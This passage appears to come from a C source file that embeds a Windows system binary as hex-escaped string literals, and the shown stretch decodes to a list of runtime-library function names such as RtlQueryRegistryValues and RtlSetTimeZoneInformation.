\"\\x53\\x74\\x72\\x69\\x6E\\x67\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x52\\x74\\x6C\"   //StringBuffer.Rtl\n/* 00DF00 */   \"\\x4D\\x75\\x6C\\x74\\x69\\x42\\x79\\x74\\x65\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\"   //MultiByteToUnico\n/* 00DF20 */   \"\\x64\\x65\\x4E\\x00\\x52\\x74\\x6C\\x4D\\x75\\x6C\\x74\\x69\\x42\\x79\\x74\\x65\"   //deN.RtlMultiByte\n/* 00DF40 */   \"\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\"   //ToUnicodeSize.Rt\n/* 00DF60 */   \"\\x6C\\x4E\\x65\\x77\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x53\\x65\\x63\\x75\"   //lNewInstanceSecu\n/* 00DF80 */   \"\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x52\\x74\\x6C\\x4E\\x65\"   //rityObject.RtlNe\n/* 00DFA0 */   \"\\x77\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x47\\x72\\x61\\x6E\\x74\\x65\\x64\"   //wSecurityGranted\n/* 00DFC0 */   \"\\x41\\x63\\x63\\x65\\x73\\x73\\x00\\x52\\x74\\x6C\\x4E\\x65\\x77\\x53\\x65\\x63\"   //Access.RtlNewSec\n/* 00DFE0 */   \"\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x52\\x74\\x6C\\x4E\"   //urityObject.RtlN\n/* 00E000 */   \"\\x65\\x77\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\"   //ewSecurityObject\n/* 00E020 */   \"\\x45\\x78\\x00\\x52\\x74\\x6C\\x4E\\x65\\x77\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //Ex.RtlNewSecurit\n/* 00E040 */   \"\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x57\\x69\\x74\\x68\\x4D\\x75\\x6C\\x74\\x69\"   //yObjectWithMulti\n/* 00E060 */   \"\\x70\\x6C\\x65\\x49\\x6E\\x68\\x65\\x72\\x69\\x74\\x61\\x6E\\x63\\x65\\x00\\x52\"   //pleInheritance.R\n/* 00E080 */   \"\\x74\\x6C\\x4E\\x6F\\x72\\x6D\\x61\\x6C\\x69\\x7A\\x65\\x50\\x72\\x6F\\x63\\x65\"   //tlNormalizeProce\n/* 00E0A0 */   \"\\x73\\x73\\x50\\x61\\x72\\x61\\x6D\\x73\\x00\\x52\\x74\\x6C\\x4E\\x74\\x50\\x61\"   //ssParams.RtlNtPa\n/* 00E0C0 */   \"\\x74\\x68\\x4E\\x61\\x6D\\x65\\x54\\x6F\\x44\\x6F\\x73\\x50\\x61\\x74\\x68\\x4E\"   //thNameToDosPathN\n/* 00E0E0 */   \"\\x61\\x6D\\x65\\x00\\x52\\x74\\x6C\\x4E\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x54\"   //ame.RtlNtStatusT\n/* 00E100 */   \"\\x6F\\x44\\x6F\\x73\\x45\\x72\\x72\\x6F\\x72\\x00\\x52\\x74\\x6C\\x4E\\x74\\x53\"   //oDosError.RtlNtS\n/* 00E120 */   \"\\x74\\x61\\x74\\x75\\x73\\x54\\x6F\\x44\\x6F\\x73\\x45\\x72\\x72\\x6F\\x72\\x4E\"   //tatusToDosErrorN\n/* 00E140 */   \"\\x6F\\x54\\x65\\x62\\x00\\x52\\x74\\x6C\\x4E\\x75\\x6D\\x62\\x65\\x72\\x47\\x65\"   //oTeb.RtlNumberGe\n/* 00E160 */   \"\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\"   //nericTableElemen\n/* 00E180 */   \"\\x74\\x73\\x00\\x52\\x74\\x6C\\x4E\\x75\\x6D\\x62\\x65\\x72\\x47\\x65\\x6E\\x65\"   //ts.RtlNumberGene\n/* 00E1A0 */   \"\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x73\"   //ricTableElements\n/* 00E1C0 */   \"\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\\x43\"   //Avl.RtlNumberOfC\n/* 00E1E0 */   \"\\x6C\\x65\\x61\\x72\\x42\\x69\\x74\\x73\\x00\\x52\\x74\\x6C\\x4E\\x75\\x6D\\x62\"   //learBits.RtlNumb\n/* 00E200 */   \"\\x65\\x72\\x4F\\x66\\x53\\x65\\x74\\x42\\x69\\x74\\x73\\x00\\x52\\x74\\x6C\\x4F\"   //erOfSetBits.RtlO\n/* 00E220 */   \"\\x65\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\"   //emStringToUnicod\n/* 00E240 */   \"\\x65\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\\x4F\\x65\\x6D\\x53\\x74\\x72\\x69\"   //eSize.RtlOemStri\n/* 00E260 */   \"\\x6E\\x67\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\"   //ngToUnicodeStrin\n/* 00E280 */   \"\\x67\\x00\\x52\\x74\\x6C\\x4F\\x65\\x6D\\x54\\x6F\\x55\\x6E\\x69\\x63\\x6F\\x64\"   //g.RtlOemToUnicod\n/* 00E2A0 */   \"\\x65\\x4E\\x00\\x52\\x74\\x6C\\x4F\\x70\\x65\\x6E\\x43\\x75\\x72\\x72\\x65\\x6E\"   //eN.RtlOpenCurren\n/* 00E2C0 */   \"\\x74\\x55\\x73\\x65\\x72\\x00\\x52\\x74\\x6C\\x50\\x63\\x54\\x6F\\x46\\x69\\x6C\"   //tUser.RtlPcToFil\n/* 00E2E0 */   \"\\x65\\x48\\x65\\x61\\x64\\x65\\x72\\x00\\x52\\x74\\x6C\\x50\\x69\\x6E\\x41\\x74\"   //eHeader.RtlPinAt\n/* 00E300 */   \"\\x6F\\x6D\\x49\\x6E\\x41\\x74\\x6F\\x6D\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\"   //omInAtomTable.Rt\n/* 00E320 */   \"\\x6C\\x50\\x6F\\x70\\x46\\x72\\x61\\x6D\\x65\\x00\\x52\\x74\\x6C\\x50\\x72\\x65\"   //lPopFrame.RtlPre\n/* 00E340 */   \"\\x66\\x69\\x78\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x50\\x72\\x65\"   //fixString.RtlPre\n/* 00E360 */   \"\\x66\\x69\\x78\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\"   //fixUnicodeString\n/* 00E380 */   \"\\x00\\x52\\x74\\x6C\\x50\\x72\\x6F\\x74\\x65\\x63\\x74\\x48\\x65\\x61\\x70\\x00\"   //.RtlProtectHeap.\n/* 00E3A0 */   \"\\x52\\x74\\x6C\\x50\\x75\\x73\\x68\\x46\\x72\\x61\\x6D\\x65\\x00\\x52\\x74\\x6C\"   //RtlPushFrame.Rtl\n/* 00E3C0 */   \"\\x51\\x75\\x65\\x72\\x79\\x41\\x74\\x6F\\x6D\\x49\\x6E\\x41\\x74\\x6F\\x6D\\x54\"   //QueryAtomInAtomT\n/* 00E3E0 */   \"\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x44\\x65\\x70\"   //able.RtlQueryDep\n/* 00E400 */   \"\\x74\\x68\\x53\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\"   //thSList.RtlQuery\n/* 00E420 */   \"\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x72\\x69\\x61\"   //EnvironmentVaria\n/* 00E440 */   \"\\x62\\x6C\\x65\\x5F\\x55\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x48\\x65\"   //ble_U.RtlQueryHe\n/* 00E460 */   \"\\x61\\x70\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\"   //apInformation.Rt\n/* 00E480 */   \"\\x6C\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\"   //lQueryInformatio\n/* 00E4A0 */   \"\\x6E\\x41\\x63\\x6C\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x66\"   //nAcl.RtlQueryInf\n/* 00E4C0 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\"   //ormationActivati\n/* 00E4E0 */   \"\\x6F\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\"   //onContext.RtlQue\n/* 00E500 */   \"\\x72\\x79\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x41\\x63\\x74\"   //ryInformationAct\n/* 00E520 */   \"\\x69\\x76\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\"   //iveActivationCon\n/* 00E540 */   \"\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x74\"   //text.RtlQueryInt\n/* 00E560 */   \"\\x65\\x72\\x66\\x61\\x63\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\"   //erfaceMemoryStre\n/* 00E580 */   \"\\x61\\x6D\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x50\\x72\\x6F\\x63\\x65\"   //am.RtlQueryProce\n/* 00E5A0 */   \"\\x73\\x73\\x42\\x61\\x63\\x6B\\x54\\x72\\x61\\x63\\x65\\x49\\x6E\\x66\\x6F\\x72\"   //ssBackTraceInfor\n/* 00E5C0 */   \"\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x50\"   //mation.RtlQueryP\n/* 00E5E0 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x44\\x65\\x62\\x75\\x67\\x49\\x6E\\x66\\x6F\\x72\"   //rocessDebugInfor\n/* 00E600 */   \"\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x50\"   //mation.RtlQueryP\n/* 00E620 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x48\\x65\\x61\\x70\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //rocessHeapInform\n/* 00E640 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x50\\x72\"   //ation.RtlQueryPr\n/* 00E660 */   \"\\x6F\\x63\\x65\\x73\\x73\\x4C\\x6F\\x63\\x6B\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //ocessLockInforma\n/* 00E680 */   \"\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x52\\x65\\x67\"   //tion.RtlQueryReg\n/* 00E6A0 */   \"\\x69\\x73\\x74\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x73\\x00\\x52\\x74\\x6C\\x51\"   //istryValues.RtlQ\n/* 00E6C0 */   \"\\x75\\x65\\x72\\x79\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\"   //uerySecurityObje\n/* 00E6E0 */   \"\\x63\\x74\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x54\\x61\\x67\\x48\\x65\"   //ct.RtlQueryTagHe\n/* 00E700 */   \"\\x61\\x70\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x72\\x79\\x54\\x69\\x6D\\x65\\x5A\"   //ap.RtlQueryTimeZ\n/* 00E720 */   \"\\x6F\\x6E\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\"   //oneInformation.R\n/* 00E740 */   \"\\x74\\x6C\\x51\\x75\\x65\\x75\\x65\\x41\\x70\\x63\\x57\\x6F\\x77\\x36\\x34\\x54\"   //tlQueueApcWow64T\n/* 00E760 */   \"\\x68\\x72\\x65\\x61\\x64\\x00\\x52\\x74\\x6C\\x51\\x75\\x65\\x75\\x65\\x57\\x6F\"   //hread.RtlQueueWo\n/* 00E780 */   \"\\x72\\x6B\\x49\\x74\\x65\\x6D\\x00\\x52\\x74\\x6C\\x52\\x61\\x69\\x73\\x65\\x45\"   //rkItem.RtlRaiseE\n/* 00E7A0 */   \"\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x52\\x61\\x69\\x73\"   //xception.RtlRais\n/* 00E7C0 */   \"\\x65\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x52\\x74\\x6C\\x52\\x61\\x6E\\x64\\x6F\"   //eStatus.RtlRando\n/* 00E7E0 */   \"\\x6D\\x00\\x52\\x74\\x6C\\x52\\x61\\x6E\\x64\\x6F\\x6D\\x45\\x78\\x00\\x52\\x74\"   //m.RtlRandomEx.Rt\n/* 00E800 */   \"\\x6C\\x52\\x65\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x48\\x65\\x61\\x70\\x00\"   //lReAllocateHeap.\n/* 00E820 */   \"\\x52\\x74\\x6C\\x52\\x65\\x61\\x64\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\"   //RtlReadMemoryStr\n/* 00E840 */   \"\\x65\\x61\\x6D\\x00\\x52\\x74\\x6C\\x52\\x65\\x61\\x64\\x4F\\x75\\x74\\x4F\\x66\"   //eam.RtlReadOutOf\n/* 00E860 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\"   //ProcessMemoryStr\n/* 00E880 */   \"\\x65\\x61\\x6D\\x00\\x52\\x74\\x6C\\x52\\x65\\x61\\x6C\\x50\\x72\\x65\\x64\\x65\"   //eam.RtlRealPrede\n/* 00E8A0 */   \"\\x63\\x65\\x73\\x73\\x6F\\x72\\x00\\x52\\x74\\x6C\\x52\\x65\\x61\\x6C\\x53\\x75\"   //cessor.RtlRealSu\n/* 00E8C0 */   \"\\x63\\x63\\x65\\x73\\x73\\x6F\\x72\\x00\\x52\\x74\\x6C\\x52\\x65\\x67\\x69\\x73\"   //ccessor.RtlRegis\n/* 00E8E0 */   \"\\x74\\x65\\x72\\x53\\x65\\x63\\x75\\x72\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x43\"   //terSecureMemoryC\n/* 00E900 */   \"\\x61\\x63\\x68\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x52\\x74\\x6C\"   //acheCallback.Rtl\n/* 00E920 */   \"\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x57\\x61\\x69\\x74\\x00\\x52\\x74\\x6C\"   //RegisterWait.Rtl\n/* 00E940 */   \"\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\"   //ReleaseActivatio\n/* 00E960 */   \"\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x52\\x65\\x6C\\x65\"   //nContext.RtlRele\n/* 00E980 */   \"\\x61\\x73\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\"   //aseMemoryStream.\n/* 00E9A0 */   \"\\x52\\x74\\x6C\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x50\\x65\\x62\\x4C\\x6F\\x63\"   //RtlReleasePebLoc\n/* 00E9C0 */   \"\\x6B\\x00\\x52\\x74\\x6C\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x52\\x65\\x73\\x6F\"   //k.RtlReleaseReso\n/* 00E9E0 */   \"\\x75\\x72\\x63\\x65\\x00\\x52\\x74\\x6C\\x52\\x65\\x6D\\x6F\\x74\\x65\\x43\\x61\"   //urce.RtlRemoteCa\n/* 00EA00 */   \"\\x6C\\x6C\\x00\\x52\\x74\\x6C\\x52\\x65\\x6D\\x6F\\x76\\x65\\x56\\x65\\x63\\x74\"   //ll.RtlRemoveVect\n/* 00EA20 */   \"\\x6F\\x72\\x65\\x64\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\"   //oredExceptionHan\n/* 00EA40 */   \"\\x64\\x6C\\x65\\x72\\x00\\x52\\x74\\x6C\\x52\\x65\\x73\\x65\\x74\\x52\\x74\\x6C\"   //dler.RtlResetRtl\n/* 00EA60 */   \"\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x69\\x6F\\x6E\\x73\\x00\\x52\\x74\\x6C\"   //Translations.Rtl\n/* 00EA80 */   \"\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4C\\x61\\x73\\x74\\x57\\x69\\x6E\\x33\\x32\"   //RestoreLastWin32\n/* 00EAA0 */   \"\\x45\\x72\\x72\\x6F\\x72\\x00\\x52\\x74\\x6C\\x52\\x65\\x76\\x65\\x72\\x74\\x4D\"   //Error.RtlRevertM\n/* 00EAC0 */   \"\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x52\\x74\\x6C\\x52\"   //emoryStream.RtlR\n/* 00EAE0 */   \"\\x75\\x6E\\x44\\x65\\x63\\x6F\\x64\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\"   //unDecodeUnicodeS\n/* 00EB00 */   \"\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x52\\x75\\x6E\\x45\\x6E\\x63\\x6F\"   //tring.RtlRunEnco\n/* 00EB20 */   \"\\x64\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\"   //deUnicodeString.\n/* 00EB40 */   \"\\x52\\x74\\x6C\\x53\\x65\\x63\\x6F\\x6E\\x64\\x73\\x53\\x69\\x6E\\x63\\x65\\x31\"   //RtlSecondsSince1\n/* 00EB60 */   \"\\x39\\x37\\x30\\x54\\x6F\\x54\\x69\\x6D\\x65\\x00\\x52\\x74\\x6C\\x53\\x65\\x63\"   //970ToTime.RtlSec\n/* 00EB80 */   \"\\x6F\\x6E\\x64\\x73\\x53\\x69\\x6E\\x63\\x65\\x31\\x39\\x38\\x30\\x54\\x6F\\x54\"   //ondsSince1980ToT\n/* 00EBA0 */   \"\\x69\\x6D\\x65\\x00\\x52\\x74\\x6C\\x53\\x65\\x65\\x6B\\x4D\\x65\\x6D\\x6F\\x72\"   //ime.RtlSeekMemor\n/* 00EBC0 */   \"\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x52\\x74\\x6C\\x53\\x65\\x6C\\x66\\x52\"   //yStream.RtlSelfR\n/* 00EBE0 */   \"\\x65\\x6C\\x61\\x74\\x69\\x76\\x65\\x54\\x6F\\x41\\x62\\x73\\x6F\\x6C\\x75\\x74\"   //elativeToAbsolut\n/* 00EC00 */   \"\\x65\\x53\\x44\\x00\\x52\\x74\\x6C\\x53\\x65\\x6C\\x66\\x52\\x65\\x6C\\x61\\x74\"   //eSD.RtlSelfRelat\n/* 00EC20 */   \"\\x69\\x76\\x65\\x54\\x6F\\x41\\x62\\x73\\x6F\\x6C\\x75\\x74\\x65\\x53\\x44\\x32\"   //iveToAbsoluteSD2\n/* 00EC40 */   \"\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x41\\x6C\\x6C\\x42\\x69\\x74\\x73\\x00\\x52\"   //.RtlSetAllBits.R\n/* 00EC60 */   \"\\x74\\x6C\\x53\\x65\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x53\"   //tlSetAttributesS\n/* 00EC80 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 00ECA0 */   \"\\x72\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x42\\x69\\x74\\x73\\x00\\x52\\x74\\x6C\"   //r.RtlSetBits.Rtl\n/* 00ECC0 */   \"\\x53\\x65\\x74\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x53\\x65\\x63\\x75\\x72\\x69\"   //SetControlSecuri\n/* 00ECE0 */   \"\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\"   //tyDescriptor.Rtl\n/* 00ED00 */   \"\\x53\\x65\\x74\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\"   //SetCriticalSecti\n/* 00ED20 */   \"\\x6F\\x6E\\x53\\x70\\x69\\x6E\\x43\\x6F\\x75\\x6E\\x74\\x00\\x52\\x74\\x6C\\x53\"   //onSpinCount.RtlS\n/* 00ED40 */   \"\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\"   //etCurrentDirecto\n/* 00ED60 */   \"\\x72\\x79\\x5F\\x55\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x43\\x75\\x72\\x72\\x65\"   //ry_U.RtlSetCurre\n/* 00ED80 */   \"\\x6E\\x74\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x00\\x52\\x74\"   //ntEnvironment.Rt\n/* 00EDA0 */   \"\\x6C\\x53\\x65\\x74\\x44\\x61\\x63\\x6C\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //lSetDaclSecurity\n/* 00EDC0 */   \"\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\\x53\\x65\"   //Descriptor.RtlSe\n/* 00EDE0 */   \"\\x74\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x72\\x69\"   //tEnvironmentVari\n/* 00EE00 */   \"\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x47\\x72\\x6F\\x75\\x70\"   //able.RtlSetGroup\n/* 00EE20 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 00EE40 */   \"\\x6F\\x72\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x48\\x65\\x61\\x70\\x49\\x6E\\x66\"   //or.RtlSetHeapInf\n/* 00EE60 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x49\"   //ormation.RtlSetI\n/* 00EE80 */   \"\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x41\\x63\\x6C\\x00\\x52\\x74\"   //nformationAcl.Rt\n/* 00EEA0 */   \"\\x6C\\x53\\x65\\x74\\x49\\x6F\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\"   //lSetIoCompletion\n/* 00EEC0 */   \"\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x4C\"   //Callback.RtlSetL\n/* 00EEE0 */   \"\\x61\\x73\\x74\\x57\\x69\\x6E\\x33\\x32\\x45\\x72\\x72\\x6F\\x72\\x00\\x52\\x74\"   //astWin32Error.Rt\n/* 00EF00 */   \"\\x6C\\x53\\x65\\x74\\x4C\\x61\\x73\\x74\\x57\\x69\\x6E\\x33\\x32\\x45\\x72\\x72\"   //lSetLastWin32Err\n/* 00EF20 */   \"\\x6F\\x72\\x41\\x6E\\x64\\x4E\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x46\\x72\\x6F\"   //orAndNtStatusFro\n/* 00EF40 */   \"\\x6D\\x4E\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\"   //mNtStatus.RtlSet\n/* 00EF60 */   \"\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x53\\x69\\x7A\\x65\"   //MemoryStreamSize\n/* 00EF80 */   \"\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x4F\\x77\\x6E\\x65\\x72\\x53\\x65\\x63\\x75\"   //.RtlSetOwnerSecu\n/* 00EFA0 */   \"\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\"   //rityDescriptor.R\n/* 00EFC0 */   \"\\x74\\x6C\\x53\\x65\\x74\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x49\\x73\\x43\\x72\"   //tlSetProcessIsCr\n/* 00EFE0 */   \"\\x69\\x74\\x69\\x63\\x61\\x6C\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x53\\x61\\x63\"   //itical.RtlSetSac\n/* 00F000 */   \"\\x6C\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\"   //lSecurityDescrip\n/* 00F020 */   \"\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //tor.RtlSetSecuri\n/* 00F040 */   \"\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x52\\x4D\\x43\\x6F\"   //tyDescriptorRMCo\n/* 00F060 */   \"\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x53\\x65\\x63\\x75\"   //ntrol.RtlSetSecu\n/* 00F080 */   \"\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x52\\x74\\x6C\\x53\\x65\"   //rityObject.RtlSe\n/* 00F0A0 */   \"\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x45\"   //tSecurityObjectE\n/* 00F0C0 */   \"\\x78\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x54\\x68\\x72\\x65\\x61\\x64\\x49\\x73\"   //x.RtlSetThreadIs\n/* 00F0E0 */   \"\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x54\"   //Critical.RtlSetT\n/* 00F100 */   \"\\x68\\x72\\x65\\x61\\x64\\x50\\x6F\\x6F\\x6C\\x53\\x74\\x61\\x72\\x74\\x46\\x75\"   //hreadPoolStartFu\n/* 00F120 */   \"\\x6E\\x63\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x5A\\x6F\\x6E\"   //nc.RtlSetTimeZon\n/* 00F140 */   \"\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\"   //eInformation.Rtl\n/* 00F160 */   \"\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x72\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x55\"   //SetTimer.RtlSetU\n/* 00F180 */   \"\\x6E\\x69\\x63\\x6F\\x64\\x65\\x43\\x61\\x6C\\x6C\\x6F\\x75\\x74\\x73\\x00\\x52\"   //nicodeCallouts.R\n/* 00F1A0 */   \"\\x74\\x6C\\x53\\x65\\x74\\x55\\x73\\x65\\x72\\x46\\x6C\\x61\\x67\\x73\\x48\\x65\"   //tlSetUserFlagsHe\n/* 00F1C0 */   \"\\x61\\x70\\x00\\x52\\x74\\x6C\\x53\\x65\\x74\\x55\\x73\\x65\\x72\\x56\\x61\\x6C\"   //ap.RtlSetUserVal\n/* 00F1E0 */   \"\\x75\\x65\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x53\\x69\\x7A\\x65\\x48\\x65\"   //ueHeap.RtlSizeHe\n/* 00F200 */   \"\\x61\\x70\\x00\\x52\\x74\\x6C\\x53\\x70\\x6C\\x61\\x79\\x00\\x52\\x74\\x6C\\x53\"   //ap.RtlSplay.RtlS\n/* 00F220 */   \"\\x74\\x61\\x72\\x74\\x52\\x58\\x61\\x63\\x74\\x00\\x52\\x74\\x6C\\x53\\x74\\x61\"   //tartRXact.RtlSta\n/* 00F240 */   \"\\x74\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\\x52\\x74\"   //tMemoryStream.Rt\n/* 00F260 */   